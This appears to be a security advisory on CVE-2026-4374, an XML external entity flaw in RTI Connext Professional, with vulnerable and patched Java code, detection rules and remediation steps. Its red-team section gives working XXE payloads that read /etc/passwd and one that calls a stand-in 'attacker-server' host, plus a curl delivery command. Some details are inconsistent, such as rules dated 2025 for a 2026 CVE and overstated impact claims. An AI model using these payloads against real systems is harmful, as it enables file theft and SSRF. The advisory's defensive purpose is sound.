CVE-2026-4374

Executive Summary

CVE-2026-4374 is a critical Improper Restriction of XML External Entity (XXE) Reference vulnerability affecting multiple components of RTI Connext Professional, including Routing Service, Observability Collector, Recording Service, Queueing Service, and Cloud Discovery Service. With a CVSS score of 9.1, this vulnerability allows an unauthenticated, remote attacker to perform Serialized Data External Linking and Data Serialization attacks, potentially leading to full system compromise, data exfiltration, or denial of service. The vulnerability arises from the insecure parsing of XML input, where external entities are not properly restricted, enabling attackers to read arbitrary files, perform SSRF attacks, or cause resource exhaustion.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary RTI Connext Professional middleware, which is distributed as a binary package. Organizations using this software should verify the integrity of their installations and apply the vendor-supplied patch immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component remains isolated.
• Confidentiality Impact: High (C:H) – Full read access to files and data.
• Integrity Impact: High (I:H) – Potential to modify data or execute commands.
• Availability Impact: High (A:H) – Denial of service via resource exhaustion.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in the XML parsing functionality used by RTI Connext Professional components. When processing XML data, the parser does not disable external entity resolution. An attacker can craft a malicious XML payload containing an external entity reference that points to a local file (e.g., /etc/passwd) or an external URL.

Attack Flow:

1. The attacker sends a specially crafted XML document to a vulnerable service (e.g., Routing Service, Observability Collector).
2. The XML parser processes the document and resolves the external entity.
3. If the entity points to a local file, the file content is included in the XML response or processed internally, leading to information disclosure.
4. If the entity points to an external URL, the server makes an outbound request (SSRF), potentially accessing internal resources or exfiltrating data.
5. In some cases, recursive entity expansion can cause a denial of service (Billion Laughs attack).

Affected Components:

• Routing Service
• Observability Collector
• Recording Service
• Queueing Service
• Cloud Discovery Service

Root Cause: The XML parser configuration does not set setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) or disable DTDs and external entities.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable XML parsing without disabling external entities
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));

Patched Code (Conceptual):

// Patched XML parsing with external entities disabled
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));

Key Differences:

• The patched code explicitly disables DTDs and external entity processing.
• The vulnerable code uses default settings, which allow external entities.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: RTI Connext Professional (vulnerable version) running on Ubuntu 22.04.
• Attacker: Kali Linux with netcat and curl.

Exploitation Steps:

1. Craft Malicious XML Payload:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <root>&xxe;</root>
   

2. Send Payload to Vulnerable Service:

   curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://target:port/endpoint
   

3. Observe Response: The server response will include the contents of /etc/passwd if the vulnerability is present.

4. Advanced SSRF Exploitation:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "http://attacker-server/steal">
   ]>
   <root>&xxe;</root>
   

   This will cause the server to make an outbound request to the attacker's server, potentially leaking data.

Blue Team (Defensive)

Detection Steps:

1. Monitor XML Payloads: Look for DOCTYPE declarations or SYSTEM identifiers in incoming XML data.
2. Network Monitoring: Detect outbound connections from RTI services to unexpected external IPs.
3. File Integrity: Monitor for unauthorized reads of sensitive files (e.g., /etc/passwd, /etc/shadow).

Hunting Queries:

• Search logs for XML parsing errors or warnings related to external entities.
• Use network flow data to identify SSRF attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP/HTTPS requests from RTI services to unknown external IPs.
• XML payloads containing <!DOCTYPE or SYSTEM keywords.

File IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or other sensitive files.
• Temporary files created by XML parser with entity expansion.

Log IOCs:

• Error messages like "External Entity: Failed to read external entity" or "DOCTYPE is disallowed".
• Repeated XML parsing failures.

Sample Suricata Rule (see Detection Engineering):

• Alert on XML payloads with <!DOCTYPE and SYSTEM patterns.

Detection Engineering

YARA Rule

rule CVE_2026_4374_XXE_Payload {
    meta:
        description = "Detects XXE payloads targeting RTI Connext Professional"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-4374"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+\s+\[/
        $xml_entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']/
        $xml_entity_public = /<!ENTITY\s+\w+\s+PUBLIC\s+["']/
    condition:
        any of ($xml_doctype) and any of ($xml_entity_system, $xml_entity_public)
}

Sigma Rule

title: XXE Exploitation Attempt Against RTI Connext Professional
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XML payloads containing DOCTYPE and SYSTEM entities targeting RTI services
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/xml'
        cs-uri-query|contains: 
            - '<!DOCTYPE'
            - 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate XML with DTDs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-4374 XXE Exploitation Attempt"; flow:to_server; content:"<!DOCTYPE"; http_client_body; content:"SYSTEM"; http_client_body; distance:0; within:1000; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Patch: Contact RTI support or download the latest patched version of Connext Professional.
2. Disable XML External Entities: If patching is not immediately possible, configure the XML parser to disable DTDs and external entities.
3. Network Segmentation: Restrict network access to RTI services to trusted hosts only.

Long-Term Measures:

• Implement input validation for XML data.
• Use a Web Application Firewall (WAF) to block XXE payloads.
• Regularly update all RTI components.
• Conduct security audits of XML parsing configurations.

Workaround:

• If the service allows, switch to JSON or other non-XML data formats.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: C37896E6AFBA7BF9F402E5EC] */}